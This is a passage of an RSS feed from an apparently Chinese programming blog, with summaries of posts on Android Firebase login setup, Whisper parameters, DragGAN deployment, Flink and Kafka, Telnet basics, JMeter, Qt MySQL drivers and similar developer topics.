基于Web停车场管理系统主要用于实现停车场相关信息管理，基本功能包括：系统信息管理模块、车位信息管理模块、IC卡信息管理模块、固定车主停车管理模块、临时车辆信息管理模块、系统功能操模块等。本系统结构如下：&#xA;(1)系统信息管理模块：角色的增加、删除、修改和查询；用户的增加、删除、修改和查询。&#xA;(2)车位信息管理模块：车位信息的增加、删除、修改和查询。&#xA;(3)IC卡信息管理模块：IC卡信息的增加、删除、修改和查询。&#xA;(4)固定车主停车管理模块：对固定车主的停车信息进行增加、删除、修改和查询&#xA;(5)临时车辆信息管理模块：对临时车辆的停车信息进行增加、删除、修改、查询和打印&#xA;(6)系统功能操模块：退出登陆、修改密码。&#xA;3.数据库用到的表 card, fixed, role, seat, temp, user&#xA;4.工程截图 二、系统展示 1、登录页面 2、首页 3、系统信息管理模块 4、车位信息管理模块 5、IC卡信息管理模块 6、固定车主停车管理模块 7、临时车主停车管理模块 8、系统功能操作模块 三、部分代码展示 1、Index.jsp &amp;lt;%@ page language=&#34;java&#34; contentType=&#34;text/html; charset=UTF-8&#34; pageEncoding=&#34;UTF-8&#34; errorPage=&#34;_Error.jsp&#34;%&amp;gt; &amp;lt;% String path = request.</description>
    </item>
    <item>
      <title>Android firebase google登录配置流程和app内测发布流程</title>
      <link>https://bchobby.github.io/posts/d114e2532ad170919bea81e1a100ede0/</link>
      <pubDate>Fri, 30 Jun 2023 18:01:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d114e2532ad170919bea81e1a100ede0/</guid>
      <description>googlePlay使用OAuth2.0保护账号安全，且与firebase相关。如果配置错误，会出现error code比如：&#xA;10： auth，如clientId不对； 7: 网络或墙的问题； 12500：签名问题。&#xA;正确配置流程 Release 请按照如下步骤操作，顺序错误则可能会导致json文件不同。&#xA;创建firebase项目，相当于创建了一个google cloud激活了firebase功能的项目；&#xA;证书指纹&#xA;登录play.google.com/console/&#xA;上传密钥证书，指的是本地打包上来的，jks签名上传。&#xA;应用签名密钥证书， google play会将aab二次签名。后面步骤，使用的都是应用签名密钥证书。&#xA;firebase console配置app fireBase信息：&#xA;https://console.firebase.google.com/&#xA;下载google-services.json，核对本地代码中，app/src/release/google-services.json是否一致。&#xA;不要随意下载，会重置信息，又得配置后面2个步骤。&#xA;配置Android Key&#xA;https://console.cloud.google.com/apis/credentials&#xA;一般情况，Android Key能够自动生成，就是firebase点击一次download json就会触发更新出来一个新的。所以前面一个步骤不要随意点击下载。下载后，需要等待一会儿，这边刷新自动创建。&#xA;点击进入Android Key：&#xA;选成android应用。Add包名+指纹。&#xA;OAuth2.0客户端ID&#xA;OAuth，AndroidClient如果能自动创建，就使用自动创建的，如果没有自动创建，则手动创建一个OAuth客户端。配置包名+指纹。&#xA;类似的，OAuth，还需要创建WebClient（如果没有自动创建。）&#xA;https://developers.google.com/identity/one-tap/android/get-saved-credentials?hl=zh-cn&#xA;这个WebClient的ID才是用来登录使用的，坑的不要不要的。&#xA;使用这个webClient ID，传入代码的请求登录处：&#xA;总结&#xA;第一步，play确认二次签名；&#xA;第二步，firebase添加签名并下载json；&#xA;第三步，配置Cloud androidKey，一般等待自动生成，要一会儿；&#xA;第四步，配置Cloud OAuth androidClient，webClient。如果没有自动创建则手动创建；&#xA;第五步，将WebClientID配置到请求登录代码中，否则可能会报code：10 error，因为webId不对。&#xA;Debug&#xA;对于Debug版，我们不会上googlePlay的，故而不会二次签名。只做发布蒲公英。&#xA;如下：&#xA;第1步，firebase切换到app的debug项目，使用本地debug签名并下载json；&#xA;第2步，配置Cloud androidKey，使用本地debug签名来配置。一般等待自动生成，要一会儿；&#xA;第3步，配置Cloud OAuth androidClient，webClient。如果没有自动创建则手动创建；&#xA;第4步，将WebClientID配置到请求登录代码中，否则可能会报code：10 error，因为webId不对。&#xA;另外，上架google app注意，不要直接发布内测。&#xA;先通过资源管理器上架。然后，手动下载通用签名apk，自测。有问题可以删除aab。&#xA;没问题再发布，否则，又得追加versionCode重新发。</description>
    </item>
    <item>
      <title>语音识别模型whisper的参数说明</title>
      <link>https://bchobby.github.io/posts/8d9e74cad19fa0402b6cc01a444e43df/</link>
      <pubDate>Fri, 30 Jun 2023 17:09:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d9e74cad19fa0402b6cc01a444e43df/</guid>
      <description>一、whisper简介：&#xA;Whisper是一种通用的语音识别模型。它是在各种音频的大型数据集上训练的，也是一个多任务模型，可以执行多语言语音识别、语音翻译和语言识别。&#xA;二、whisper的参数&#xA;1、-h, --help&#xA;查看whisper的参数&#xA;2、--model {tiny.en,tiny,base.en,base,small.en,small,medium.en,medium,large-v1,large-v2,large} 选择使用的模型，默认值：small&#xA;3、--model_dir MODEL_DIR&#xA;模型文件的保存路径，默认值：~/.cache/whisper&#xA;4、--device DEVICE PyTorch接口使用的设备，默认值：CPU&#xA;5、--output_dir OUTPUT_DIR, -o OUTPUT_DIR&#xA;输出结果保存的目录，默认值：当前目录&#xA;6、--output_format {txt,vtt,srt,tsv,json,all}, -f {txt,vtt,srt,tsv,json,all}&#xA;输出文件的格式，默认值：all&#xA;7、--verbose VERBOSE&#xA;是否打印进展和debug信息，默认值：true&#xA;8、--task {transcribe,translate}&#xA;transcribe：语音转文字&#xA;translate：语音转英语&#xA;默认值：transcribe&#xA;9、--language {af,am,ar,as,az,ba,be,bg,bn,bo,br,bs,ca,cs,cy,da,de,el,en,es,et,eu,fa,fi,fo,fr,gl,gu,ha,haw,he,hi,hr,ht,hu,hy,id,is,it,ja,jw,ka,kk,km,kn,ko,la,lb,ln,lo,lt,lv,mg,mi,mk,ml,mn,mr,ms,mt,my,ne,nl,nn,no,oc,pa,pl,ps,pt,ro,ru,sa,sd,si,sk,sl,sn,so,sq,sr,su,sv,sw,ta,te,tg,th,tk,tl,tr,tt,uk,ur,uz,vi,yi,yo,zh,Afrikaans,Albanian,Amharic,Arabic,Armenian,Assamese,Azerbaijani,Bashkir,Basque,Belarusian,Bengali,Bosnian,Breton,Bulgarian,Burmese,Castilian,Catalan,Chinese,Croatian,Czech,Danish,Dutch,English,Estonian,Faroese,Finnish,Flemish,French,Galician,Georgian,German,Greek,Gujarati,Haitian,Haitian Creole,Hausa,Hawaiian,Hebrew,Hindi,Hungarian,Icelandic,Indonesian,Italian,Japanese,Javanese,Kannada,Kazakh,Khmer,Korean,Lao,Latin,Latvian,Letzeburgesch,Lingala,Lithuanian,Luxembourgish,Macedonian,Malagasy,Malay,Malayalam,Maltese,Maori,Marathi,Moldavian,Moldovan,Mongolian,Myanmar,Nepali,Norwegian,Nynorsk,Occitan,Panjabi,Pashto,Persian,Polish,Portuguese,Punjabi,Pushto,Romanian,Russian,Sanskrit,Serbian,Shona,Sindhi,Sinhala,Sinhalese,Slovak,Slovenian,Somali,Spanish,Sundanese,Swahili,Swedish,Tagalog,Tajik,Tamil,Tatar,Telugu,Thai,Tibetan,Turkish,Turkmen,Ukrainian,Urdu,Uzbek,Valencian,Vietnamese,Welsh,Yiddish,Yoruba}&#xA;音频文件的语言设置，设置为无则会进行语言检测&#xA;默认值：无&#xA;10、--temperature TEMPERATURE&#xA;用于取样的温度&#xA;默认值：0&#xA;11、--best_of BEST_OF 在非零温度下采样时的候选数量&#xA;默认值：5&#xA;12、--beam_size BEAM_SIZE&#xA;beam search 算法中beams的数量，只适用于temperature为0的情况&#xA;默认值：5&#xA;13、--patience PATIENCE&#xA;选项patience值用在beam解码，参考https://arxiv.org/abs/2204.05424, 默认情况下（1.0）相当于传统beam搜索&#xA;默认值：无&#xA;14、--length_penalty LENGTH_PENALTY&#xA;可选令牌长度惩罚系数（alpha）参考https://arxiv.org/abs/1609.08144,默认情况下使用简单长度规格化&#xA;默认值：无&#xA;15、--suppress_tokens SUPPRESS_TOKENS&#xA;要在采样期间抑制的以逗号分隔的令牌ID列表；&#39;-1&#39;将抑制除常见标点符号以外的大多数特殊字符默认值：-1&#xA;16、--initial_prompt INITIAL_PROMPT&#xA;可选的文本作为第一个窗口的提示词&#xA;默认值：无&#xA;17、--condition_on_previous_text CONDITION_ON_PREVIOUS_TEXT</description>
    </item>
    <item>
      <title>vite项目开发npm包时调用其它依赖报错</title>
      <link>https://bchobby.github.io/posts/e8357642920826f4aaef91de21a52bc4/</link>
      <pubDate>Fri, 30 Jun 2023 15:28:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8357642920826f4aaef91de21a52bc4/</guid>
      <description> 我们在封装npm包时有时候会在npm包中添加外部依赖，在webpack模式下是没有问题的，但在vite模式下当我们在项目中使用封装的npm包时，启动会报外部依赖的相关错误，此时我们需要在项目 vite.config.ts 文件中的 defineConfig 添加 optimizeDeps ，并将报错的外部的依赖添加进去。&#xA;例如，我们在npm包里使用了qs依赖，那么，在项目上就可以按下图方式添加：&#xA;export default ({ mode }) =&amp;gt; { return defineConfig({ optimizeDeps: { include: [&#39;qs&#39;] } }); }; </description>
    </item>
    <item>
      <title>超炫酷项目来袭！DragGAN 正式开源了！</title>
      <link>https://bchobby.github.io/posts/caf7ec5e6e2ddb8068cd4a6a33558550/</link>
      <pubDate>Fri, 30 Jun 2023 13:00:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caf7ec5e6e2ddb8068cd4a6a33558550/</guid>
      <description>之前树先生给大家介绍过一个项目 DragGAN，现在正式开源了！&#xA;超炫酷项目来袭！DragGAN 火爆开源社区！&#xA;那还等什么，盘它！&#xA;DragGAN 是什么？ 不同于 Stable Diffusion 与 Midjourney 使用的扩散模型，DragGAN 是一款基于生成对抗网络（GANs）技术的图片编辑项目。追根溯源，其实还是 NVIDIA 的 StyleGAN 的衍生项目。&#xA;DragGAN 由两个主要部分组成：&#xA;第一部分是基于特征的运动监督，通过控制起始点向目标点运动，实现图像的变形；&#xA;第二部分是新的点跟踪方法，即最近邻检索，通过在相同的特征空间上进行点跟踪，提高了效率，并避免了累计误差损失。&#xA;简单来说，它能够让你轻松掌控图片中的人物和动物，通过拖拽控制点和目标点来调整他们的位置、形状、姿势等等。目前这个项目在 Github 上已经斩获了 20K star 了，趋势榜第一，足见其火爆程度！&#xA;部署要求 支持 Linux 和 Windows，建议使用 Linux内存 12 GB 以上1–8 NVIDIA 高端 GPUPython &amp;gt;= 3.8，PyTorch &amp;gt;= 1.9.0CUDA toolkit &amp;gt;= 11.1 安装部署 安装过程，真是一把鼻涕一把泪，到处都是坑，先是在阿里 PAI 平台栽跟头，折腾好久才发现是基础环境问题，后来又在安装方法上翻了车，官方的安装指导也是各种报错。&#xA;一路艰难摸索过来，现在将实测可行的一套部署方法带给大家。&#xA;这里我们选择 AutoDL 云平台，使用 Python 3.8，CUDA 11.8 的镜像，这个镜像的环境就已经满足项目要求了。&#xA;下载源码 git clone https://github.com/XingangPan/DragGAN.git 安装依赖 cd DragGAN pip install -r requirements.</description>
    </item>
    <item>
      <title>关于Xshell7无法连接虚拟机的解决方案</title>
      <link>https://bchobby.github.io/posts/920cec85cf81ff0aec508066dd29240e/</link>
      <pubDate>Fri, 30 Jun 2023 12:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/920cec85cf81ff0aec508066dd29240e/</guid>
      <description> 当我们在使用Xshell时，无法连接虚拟机 解决方法1： 1、打开网络和Internet设置&#xA;2、点击更改适配器设置&#xA;3、如果发现是禁用则右键启动&#xA;解决方法二： 1、如果都启动仍然连接不上&#xA;我们双击打开后&#xA;点击详细信息&#xA;发现是自动配置IPv4地址，那就是因为VMware NAT service和VMware DHCP service两个服务没有启动。&#xA;2、win+r在弹出的窗口中点击输入“services.msc”，回车确定&#xA;3、然后在弹出来的窗口中点找到VMware NAT service和VMware DHCP service两个服务，启动即可。&#xA;最后连接成功。。&#xA;注意：当我们刚刚开启服务时，xshell仍然连接不上，则将这两个重新禁用在启动！&#xA;解决方法三： 检查虚拟机能否ping通外网&#xA;打开虚拟网络编辑器&#xA;选择nat模式 更改设置&#xA;vi /etc/sysconfig/network-scripts/ifcfg-ens32&#xA;TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=static DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=ens32 HWADDR=00:0c:29:56:bf:df IPADDR=192.168.152.173 NETMASK=255.255.255.0 GATEWAY=192.168.152.110 ##网关必须与VMWare设置的网关一致才行 DNS1=114.114.114.114 UUID=86f468b0-1625-499f-9a13-4cd4f7c46f3a DEVICE=ens32 ONBOOT=yes </description>
    </item>
    <item>
      <title>js如何判断dom元素关系</title>
      <link>https://bchobby.github.io/posts/2de371d84e1f8c743a561abac0b551f2/</link>
      <pubDate>Fri, 30 Jun 2023 10:50:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2de371d84e1f8c743a561abac0b551f2/</guid>
      <description> 当前元素是否是某元素的子元素 // 事件A var target; function(e) { // target事件绑定的dom target = e.target; } // 事件B var currentTarget; function(e) { // currentTarget事件触发的dom currentTarget = e.currentTarget; } // 元素target是否包含了元素currentTarget，如果是则返回true否则返回false target.contains(currentTarget) </description>
    </item>
    <item>
      <title>ViewPager2自定义Adapter解决Fragment动态增加和删除，不刷新等问题</title>
      <link>https://bchobby.github.io/posts/e3cd4569d568528e13b084bedd5ba262/</link>
      <pubDate>Fri, 30 Jun 2023 10:36:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3cd4569d568528e13b084bedd5ba262/</guid>
      <description>一般的，我们使用ViewPager2是不太会整体地动态更新ViewPager的Fragment或者删除。我们一般只是固定了ViewPager，然后内部的每一个独立的Fragment自行处理各种逻辑。&#xA;而现在有个需求需要动态增加，删除，改变Fragment。&#xA;为了达到动态更新，并且希望是尽量复用Fragment。而不是每次都notifyDataSetChange。而且即使notifyDataSetChange也不一定能生效。&#xA;主要原因是默认的FragmentStateAdapter的实现中有如下描述：&#xA;/** * Default implementation works for collections that don&#39;t add, move, remove items. * TODO(b/122670460): add lint rule * When overriding, also override {@link #containsItem(long)}. */ @Override public long getItemId(int position) { return position; } 可以看出，他就是不希望你去改变。如果要改变，todo。你就需要自行实现。&#xA;网上帖子也一大堆，主要原因是FragmentStateAdapter的实现中，用position来标记Fragment作为不变的理由。虽然数据更新了，但是position不变则不会创建新的。&#xA;也就是因为getItemId和containsItem进行了处理解决问题。&#xA;这里我也编写了自己的框架。&#xA;抄过去，自行修改即可。&#xA;其中ReflectUtils获取父类的私有对象的反射，网上一大堆，找不到，请回复。&#xA;asOrNull则是强转。&#xA;特点 使用简单 让你的Fragment实现我的接口IFragmentNeedUpdate，回调函数会在onStart的时候或者动态更新的时候都会回调。因此，你不需要费力找地方保存每一个bean，然后在onCreateView等初始化，统统不需要。只需要在onNeedUpdate回调函数中里面编写UI更新代码即可。使用本Adapter设置给ViewPager2，当然你也可以继承，干别的事情。不再主动调用notifyXXXChange，调用submitData(list)初始化或者更新数据。在submitData之前，新建Adapter的时候，设置fragmentCreator和differComparator。&#xA;一般fragmentCreator，直接调用你的XXXFragment()新建对象即可。而differComparator用于判断2个数据bean对象是否相同。只要有数据有变化，则返回true即可。&#xA;参考:val ada = NeedUpdateFragmentStateAdapter&amp;lt;XXXBean&amp;gt;(this) ada.differComparator = { a, b-&amp;gt; var ret = false if (a.deviceId != b.deviceId) { ret = true } else if (a.</description>
    </item>
    <item>
      <title>Flink消费kafka出现空指针异常</title>
      <link>https://bchobby.github.io/posts/218462ea47e19fde3c6be2af4d82fec3/</link>
      <pubDate>Fri, 30 Jun 2023 10:23:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/218462ea47e19fde3c6be2af4d82fec3/</guid>
      <description>文章目录 出现场景：表现：问题：解决： tombstone : Kafka中提供了一个墓碑消息（tombstone）的概念，如果一条消息的key不为null，但是其value为null，那么此消息就是墓碑消息. 出现场景： 双流join时，采用的是left join的方式，众所周知该方式会产生回撤流，下游kafka连接器使用的是upsert-kafka，在产生回撤流时，kafka会删除未join上的消息，填充join后的消息进去。&#xA;表现： 问题： 此时消费该topic的flink程序会出现，空指针异常&#xA;DataStream Api会出现，Table Api 未发现&#xA;解决： 自定义kafka反序列化器过滤Null值，flink1.14.4&#xA;代码：&#xA;public static void main(String[] args) throws Exception { StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); KafkaSource&amp;lt;String&amp;gt; kafkaSource = KafkaSource.&amp;lt;String&amp;gt;builder() .setBootstrapServers(&#34;&#34;) .setTopics(&#34;test&#34;) .setGroupId(&#34;gid&#34;) .setStartingOffsets(OffsetsInitializer.earliest()) .setValueOnlyDeserializer(new MySimpleStringSchema()) .setProperty(&#34;auto.offset.commit&#34;, &#34;false&#34;) .build(); DataStreamSource&amp;lt;String&amp;gt; kfkDs = env.fromSource(kafkaSource, WatermarkStrategy.noWatermarks(), &#34;kfk&#34;); kfkDs.print(); env.execute(); } // 自定义反序列化器 static class MySimpleStringSchema implements DeserializationSchema&amp;lt;String&amp;gt;, SerializationSchema&amp;lt;String&amp;gt;{ @Override public String deserialize(byte[] message) { if (message != null) return new String(message, StandardCharsets.</description>
    </item>
    <item>
      <title>Linux下的Telnet指令详解</title>
      <link>https://bchobby.github.io/posts/ef225804718c7ce4c99f253deba56b88/</link>
      <pubDate>Fri, 30 Jun 2023 09:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef225804718c7ce4c99f253deba56b88/</guid>
      <description>简介：&#xA;Telnet指令是一种常用的远程登录工具，可用于与远程主机建立连接并执行命令。本篇博客将以通俗易懂的方式，详细解析Telnet指令的前世今生、功能、用法和应用场景，帮助读者全面了解Telnet指令，并掌握其在远程管理和问题排查方面的应用。&#xA;文章目录 一、Telnet指令的前世今生二、Telnet指令的功能和用法三、Telnet指令的应用场景四、Telnet指令示例五、进一步了解Telnet指令 一、Telnet指令的前世今生 在早期计算机网络发展的阶段，Telnet是一种用于远程登录的协议。然而，由于其传输数据是明文的，存在安全性问题，因此逐渐被更安全的协议（如SSH）所取代。尽管如此，Telnet指令仍然有其特殊的应用场景，并被广泛使用于网络设备配置和问题排查等领域。&#xA;二、Telnet指令的功能和用法 Telnet指令主要用于与远程主机建立连接并进行远程登录。下面是Telnet指令的常用用法：&#xA;连接到远程主机： telnet [远程主机IP地址] [端口号] 该指令将尝试与指定的远程主机建立连接，并使用默认的Telnet端口（通常为23）进行通信。&#xA;执行远程命令：&#xA;一旦成功连接到远程主机，可以在Telnet会话中执行命令。例如，在远程主机上执行命令&#34;ls&#34;： ls 退出Telnet会话： logout 该命令将断开与远程主机的连接并退出Telnet会话。&#xA;Telnet会话参数设置：&#xA;可以使用一些特殊的命令来设置Telnet会话的参数，如窗口大小、字符集等。具体的设置方法可以参考Telnet的帮助文档或相关指南。 三、Telnet指令的应用场景 Telnet指令在以下场景中发挥重要作用：&#xA;远程设备管理：&#xA;Telnet常用于网络设备（如交换机、路由器）的远程管理。通过Telnet指令，管理员可以远程登录设备，进行配置、监控和故障排查等操作。&#xA;问题排查：&#xA;Telnet指令可以用来排查网络和服务问题。通过Telnet连接目标主机的指定端口，可以检查该端口是否可达，是否能够建立连接，以及是否能够正常通信。&#xA;协议测试：&#xA;Telnet可以用于测试各种基于文本的协议，如SMTP（Simple Mail Transfer Protocol）、POP3（Post Office Protocol 3）等。&#xA;通过Telnet连接目标主机的相应端口，可以模拟客户端与服务器之间的通信过程，方便调试和验证。&#xA;四、Telnet指令示例 以下是一些常见的Telnet指令示例：&#xA;连接到远程主机的Telnet服务： telnet 192.168.0.100 23 该指令将尝试与IP地址为192.168.0.100的远程主机建立Telnet连接。&#xA;检查Web服务器端口的连通性： telnet example.com 80 该指令将尝试与example.com域名关联的Web服务器建立Telnet连接，并使用80端口进行通信。&#xA;测试SMTP服务器的响应： telnet mail.example.com 25 该指令将尝试与mail.example.com关联的SMTP服务器建立Telnet连接，并使用25端口进行通信。&#xA;五、进一步了解Telnet指令 想要深入了解Telnet指令的更多功能和用法，可以参考以下参考链接：&#xA;Telnet指令的官方文档Telnet详细教程 通过参考链接，我们可以进一步学习和了解Telnet指令的更多特性和用法，以及在网络管理和问题排查中的更多应用。&#xA;结论：&#xA;本篇博客详细介绍了Linux下的Telnet指令，包括其前世今生、功能、用法和应用场景。Telnet指令虽然在安全性方面存在一些局限，但在特定的环境和需求下仍然是一种实用的工具。通过Telnet指令，我们可以远程登录到其他主机、执行命令和排查问题。同时，了解Telnet的发展历史和应用场景，能够帮助我们更好地理解其重要性和使用方式。掌握Telnet指令将为您在远程管理和问题排查方面提供便利和技术支持。</description>
    </item>
    <item>
      <title>jmeter性能测试及生成性能测试报告</title>
      <link>https://bchobby.github.io/posts/7a2f82badc92145650ddfc0382906852/</link>
      <pubDate>Thu, 29 Jun 2023 20:39:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a2f82badc92145650ddfc0382906852/</guid>
      <description>JMeter执⾏原理 JMerer通过线程组来驱动多个(也可以理解为LR⼯具⾥⾯的虚拟⽤户)运⾏测试脚本对⽬标服务器发起⼤量的⽹络请求，在每个客户端上可以运⾏多个线程组，也就是说⼀个测试计划⾥⾯可以包含N个线程组。&#xA;线程属性 1.线程数&#xA;⼀个线程可以理解为对应模拟⼀个⽤户，所以线程数越多，那么也就认为可以模拟的⽤户数越多。&#xA;2.Ramp-Up时间(秒)&#xA;该属性指的是所有线程从启动到开始运⾏的时间间隔，单位是秒，也就是说所有线程在多⻓时间内开始执⾏，如线程数设置50，设置的时间为5秒，那么计算的公式为:&#xA;每秒执⾏线程数=线程数/Ramp-Up&#xA;具体如：&#xA;如设置的线程数为50，Ramp-up的时间为10，那么也就是说开启执⾏后，每秒会启动5个线程，如果Ramp-Up设置为&#xA;0，那么开始执⾏后，50个线程会⽴刻启动。&#xA;每秒一百个用户：&#xA;3.循环次数&#xA;每个线程发送请求的次数。如果线程数为10，循环次数为100，那么每个线程发送100次请求。总请求数为10*100=1000 。如果勾选了“永远”，那么所有线程会一直发送请求，一到选择停止运行脚本。&#xA;4.调度器：设置线程组启动的开始时间和结束时间(配置调度器时，需要勾选循环次数为永远)&#xA;持续时间（秒）：测试持续时间，会覆盖结束时间启动延迟（秒）：测试延迟启动时间，会覆盖启动时间。从当前时间延迟多长时间开始运行测试，也就是说惦记执行后，仅仅是初始化的场景，不会执行测试，等待延迟，到达后开始运行测试，执行的时间为持续时间设置的时间 Jmeter聚合报告参数 Label----每个请求的名称，比如HTTP请求等&#xA;#Samples----发给服务器的请求数量&#xA;Average----单个请求的平均响应时间&#xA;Median----50%请求的响应时间&#xA;90%Line----90%请求响应时间&#xA;95%Line----95%请求响应时间&#xA;99%Line----99%请求的响应时间&#xA;Min----最小的响应时间&#xA;Max----最大的响应时间&#xA;Error%----错误率=错误的请求的数量/请求的总数&#xA;Throughput----吞吐量即表示每秒完成的请求数&#xA;Received KB/sec----每秒从服务器端接收到的数据量&#xA;Sent KB/sec----每秒从客户端发送的请求的数量&#xA;性能测试报告 配置修改： 环境变量配置： 把jmeter添加到path的环境变量&#xA;JMETER_HOME后面跟的是jmeter的路径&#xA;mac配置jmeter环境变量&#xA;#JMETER环境变量配置&#xA;export JMETER_HOME=/Applications/tools/apache-jmeter-5.4.1&#xA;export PATH=$JMETER_HOME/bin:$PATH&#xA;jmeter生成测试报告的命令：（进入到tests目录下再执行命令） 1&#xA;2&#xA;3&#xA;jmeter -n -t script/1212.jmx -l api.jtl -e -o performanceReport/&#xA;#-n -t 后面跟的是要执行的脚本 -l 后面跟的是一个后缀为jtl的文件 -e -o后面的跟的是生成的测试报告的文件名&#xA;打开测试报告的路径： 最后： 为了回馈铁杆粉丝们，我给大家整理了完整的软件测试视频学习教程，朋友们如果需要可以自行免费领取 【保证100%免费】&#xA;软件测试面试文档</description>
    </item>
    <item>
      <title>QT编译MySQL驱动和操纵MySQL</title>
      <link>https://bchobby.github.io/posts/c98f096f783666b46fa85a1029812d1f/</link>
      <pubDate>Thu, 29 Jun 2023 18:49:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c98f096f783666b46fa85a1029812d1f/</guid>
      <description>一、编译MySQL驱动 1.软件版本 QT：5.12.12 MySQL：8.0.17 2.用Ot Creator打开Qt安装目录下 D:\Qt\Qt5.12.12\5.12.12\Src\qtbase\src\plugins\sqldrivers\mysql\mysql.pro的MySQL源码,如果安装目录下没有这个文件夹，就重装Qt，安装时记得勾选安装源码。&#xA;TARGET = qsqlmysql HEADERS += $$PWD/qsql_mysql_p.h SOURCES += $$PWD/qsql_mysql.cpp $$PWD/main.cpp #第一步，注释掉qmake #QMAKE_USE += mysql OTHER_FILES += mysql.json PLUGIN_CLASS_NAME = QMYSQLDriverPlugin include(../qsqldriverbase.pri) #第二步，添加.h依赖文件，找到自己安装的mysql对应路径 INCLUDEPATH += &#34;C:/Program Files/MySQL/MySQL Server 8.0/include&#34; DEPENDPATH += &#34;C:/Program Files/MySQL/MySQL Server 8.0/include&#34; #第三步，添加依赖的.lib文件 LIBS += &#34;C:/Program Files/MySQL/MySQL Server 8.0/lib/libmysql.lib&#34; #第四步生成你所需要的dll存放目录 DESTDIR = ../mysql/mylib 3.编译生成需要的文件，在工程同级目录下的mylib文件夹中。 4.将编译生成的文件放到对应目录，选择自己对应的编译器版本。 5. 在mysql安装路径找到mysql的libmysql.dll和libmysql.lib拷贝到相应的编译套件的bin目录下 二、测试增删改查操作 1.在项目.pro文件中添加 QT += sql 2.引入数据库相应头文件 #include &#34;mainwindow.h&#34; #include &#34;ui_mainwindow.h&#34; #include &amp;lt;QSqlDatabase&amp;gt; #include &amp;lt;QSqlError&amp;gt; #include &amp;lt;QSqlQuery&amp;gt; #include &amp;lt;QSqlRecord&amp;gt; #include&amp;lt;QDebug&amp;gt; #include&amp;lt;QMessageBox&amp;gt; MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent) , ui(new Ui::MainWindow) { ui-&amp;gt;setupUi(this); //输出可用数据库 // qDebug()&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>Android 自定义手写签字板，签署姓名，签名</title>
      <link>https://bchobby.github.io/posts/4436b47e6987ac0cb1eddddd8bdf9d58/</link>
      <pubDate>Thu, 29 Jun 2023 18:17:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4436b47e6987ac0cb1eddddd8bdf9d58/</guid>
      <description>各位大佬好又来记笔记了~ 今天要做的是签字板，实现客户签名功能，直接看效果：&#xA;逐个进行签字，可以避免连笔导致识别不清问题。就是想要客户一个一个写，认真写~~。&#xA;下面方框显示的“王某才” 其实是三张图片，在最后点击“保存”的时候还需要把上面的多种图片进行拼接成一张图片。&#xA;拓展：&#xA;还可以把本demo改成一个全屏或者大区域的签字板，可以一次签署多个字，只要把布局放大就可以了。注意一下下面这个函数：&#xA;viewSignature.save(filePath, false, 10); 第一个参数：保存的图片地址&#xA;第二个参数：是否裁剪白边。如果是单个字签署的话（如本文效果图的），这里要传false，不需要裁剪，原因是裁剪后图片大小会不一致导致拼接图片时会出现黑块。如果是整块的签字版（同时签署多个字的），就要传true，这样就可以得到只有名字部分的图片，减少图片大小。&#xA;第三个参数：空白区域留空距离，就是每张图片留白边的距离，单位px&#xA;本文地址，详见Demo</description>
    </item>
    <item>
      <title>matlab绘制栅格地图</title>
      <link>https://bchobby.github.io/posts/a24fcb4d4b91d738fa1ab01d21bc894f/</link>
      <pubDate>Thu, 29 Jun 2023 18:04:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a24fcb4d4b91d738fa1ab01d21bc894f/</guid>
      <description>学习了一下栅格地图在matlib中的表示方法，其实和很多都是差不多的。&#xA;参考&#xA;清除命令&#xA;% clc：清除命令窗口的内容，对工作环境中的全部变量无任何影响&#xA;% close all:关闭所有的Figure窗口&#xA;% clear all：清除工作空间的所有变量，函数，和MEX文件&#xA;clc clear close all %% 构建颜色MAP图 cmap = [1 1 1; ... % 1-白色-空地 0 0 0; ... % 2-黑色-静态障碍 1 0 0; ... % 3-红色-动态障碍 1 1 0;... % 4-黄色-起始点 1 0 1;... % 5-品红-目标点 0 1 0; ... % 6-绿色-到目标点的规划路径 0 1 1]; % 7-青色-动态规划的路径 % 构建颜色MAP图 colormap(cmap); color map函数：&#xA;将上面的分类创建成颜色，对于矩阵cmap来说，矩阵是通过从1开始的序列进行编号的：&#xA;cmap(1,2)表示第一行第二列。colormap将cmap存成了7种颜色。每一个颜色对应一个数值&#xA;%% 构建栅格地图场景 % 栅格界面大小:行数和列数 rows = 10; cols = 10; % 定义栅格地图全域，并初始化空白区域 field = ones(rows, cols); 这个什么好说的，就是field是一个10*10的矩阵</description>
    </item>
    <item>
      <title>报错SyntaxError: Unexpected token ‘??=‘通过nvm替换node版本</title>
      <link>https://bchobby.github.io/posts/517455616ca3d2cc2608b5529fc94058/</link>
      <pubDate>Thu, 29 Jun 2023 17:59:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/517455616ca3d2cc2608b5529fc94058/</guid>
      <description> 最近打包碰见一个问题，搜索后发现可能是node版本不兼容（应该是14以上版本），一直使用的是nvm，然后使用nvm去安装高版本的node一直下载很慢，最后就是超时报错&#xA;mac终端执行切换淘宝源去下载&#xA;NVM_NODEJS_ORG_MIRROR=http://npm.taobao.org/mirrors/node NVM_IOJS_ORG_MIRROR=http://npm.taobao.org/mirrors/iojs nvm install stable 执行完就可以正常下载了&#xA;nvm ls // 查看当前的版本列表 最后就是执行替换版本去打包了&#xA;nvm use 18.16.0 npm run build yarn build </description>
    </item>
    <item>
      <title>ASCII对照表</title>
      <link>https://bchobby.github.io/posts/dbfa5a3659f84390e2f0671ef1e06c1e/</link>
      <pubDate>Thu, 29 Jun 2023 16:49:51 +0800</pubDate>
